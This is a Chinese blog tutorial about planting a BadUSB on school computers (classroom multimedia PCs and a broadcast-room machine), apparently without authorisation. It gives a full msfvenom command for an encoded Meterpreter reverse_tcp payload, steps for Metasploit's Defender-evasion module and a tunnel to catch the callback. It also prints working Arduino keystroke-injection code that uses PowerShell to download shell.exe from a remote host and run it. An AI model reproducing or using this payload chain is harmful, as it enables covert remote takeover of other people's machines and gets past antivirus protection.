携Badusb进校园的系列测试

本文主要是介绍携Badusb进校园的系列测试，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

本文所用到的工具：

Badusb
Ngrok
Arduino
Msfconsole
Msfvenom
迷你相机

0x01蓄谋已久的前言

每次上楼时，都能看见广播室门开得非常宽

但这不是重点，重点是里面的电脑（WindowsXP），电脑桌面上是LED大屏幕的编辑软件。

二楼有个网络管理箱并由管道内的网线传输到每个教室的多媒体（Windows10）。

看看兜里的Badusb，突然就散发出了浓浓的香味，哧溜~~~。

俗话说“艺高人胆大”，但吾也要：武艺不高强，菜鸟也先飞！

0x02分析并整理收集到的信息

主机	系统	杀毒软件	网络状态
广播室	Windows XP	不详	不详
多媒体	Windows 10	Defender、360	正常

而且我们从二楼的网络管理箱分支网线的管道可推断出二楼所有教师的多媒体属于同一内网。我们在烧录代码的时候，就要根据不同的系统版本，网络状态，杀毒软件等因素来进行烧录。为什么说广播室的具体信息我们获取不到呢？因为“可远观，而不可亵玩焉。”

0x03部署Payload及规避模块到Ngrok

首先我们使用规避模块生成一个WindowsEXE文件来规避WindwosDefender程序，操作如下：

showevasuib

接着run可以看到生成的FILENAME（文件名是随机的）

当然也可以自定义SetFILENAME 文件名即可

生成的文件保存到了

/root/.msf4/local/yZdsypg.exe

接下来我们来部署反弹环境，在这里来注册一个账户

登录后来到后台页面点击

当然也有免费的隧道，不过网速较慢，根据自己的情况而定！

接着我们点击立即购买，会跳转到隧道配置的页面，如图：

使用ping服务器地址命令，找到IP地址。

接着我们打开刚解压下来的文件夹

输入./sunnyclientid 填写你的隧道ID

出现这个界面就代表隧道连接成功！

接着我们用Msfvenom生成可执行文件,代码如下

msfvenom -p windows/meterpreter/reverse_tcp LHOST=平台给出的IP LPORT=平台给出的端口 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrendMigrate=true PrendMigrateProc=svchost.exe -f exe -o /root/shell.exe

注：如果是64位系统，Payload则更改为：windows/x64/meterpreter/reverse_tcp对于小白很陌生带两个值是可以实现自动迁移进程的功能，关闭其中一进程并不影响另一进程。

-k选项并不适用于所有模板，请提前做好测试。

实验：MSFvenom实践

http://www.hetianlab.com/expc.do?ec=ECID9db0-7e22-486f-a628-023583616a83（通过该实验了解msfvenom和metasploit的用法）

0x04安装Arduino

首先我们打开arduino安装包

完成了安装。

配置如下：

完成安装。

0x05烧录代码

代码贴出：

#include <Keyboard.h>
void setup() {//初始化Keyboard.begin();//开始键盘通讯delay(5000);//延时Keyboard.press(KEY_LEFT_GUI);//win键delay(500);Keyboard.press('r');//r键delay(500);Keyboard.release(KEY_LEFT_GUI);Keyboard.release('r');delay(500);Keyboard.press(KEY_CAPS_LOCK);Keyboard.release(KEY_CAPS_LOCK);Keyboard.println("CMD.EXE /t:01 /k MODE con: cols=16 lines=2");delay(1000);Keyboard.println("POWERSHELL -cOMMAND $CLNT = NEW-OBJECT sYSTEM.nET.wEBcLIENT;$URL= 'http://ip/shell.exe';$FILE = ' c:\\SHELL.EXE ';$CLNT.dOWNLOADfILE($URL,$FILE);");delay(3000);Keyboard.println("C:\\SHELL.EXE&EXIT");Keyboard.press(KEY_CAPS_LOCK);Keyboard.release(KEY_CAPS_LOCK);Keyboard.end();//结束键盘通讯
}
void loop()//循环
{
}